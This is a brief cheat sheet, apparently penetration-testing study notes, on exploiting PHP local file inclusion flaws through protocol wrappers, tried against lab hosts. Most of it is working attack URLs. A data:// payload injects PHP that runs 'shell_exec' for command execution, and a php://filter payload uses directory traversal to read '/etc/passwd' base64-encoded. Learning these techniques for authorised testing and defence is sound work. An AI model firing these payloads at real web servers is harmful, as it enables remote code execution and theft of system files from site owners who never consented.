# PHP Wrappers

PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion. These filters give us additional flexibility when attempting to inject PHP code via LFI vulnerabilities.

## Identifying Vulnerability

```
http://192.168.112.132/menu.php?file=data:text/plain,helloworld
```

IF this payload return **helloworld** then we can use php wrappers to execute php commands too

## Executing commands 

```
http://192.168.112.132/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
```

## php filter

Another PHP wrapper, `php://filter` in this example the output is encoded using base64, so you’ll need to decode the output.

```
http://192.168.155.131/fileincl/example1.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd
```
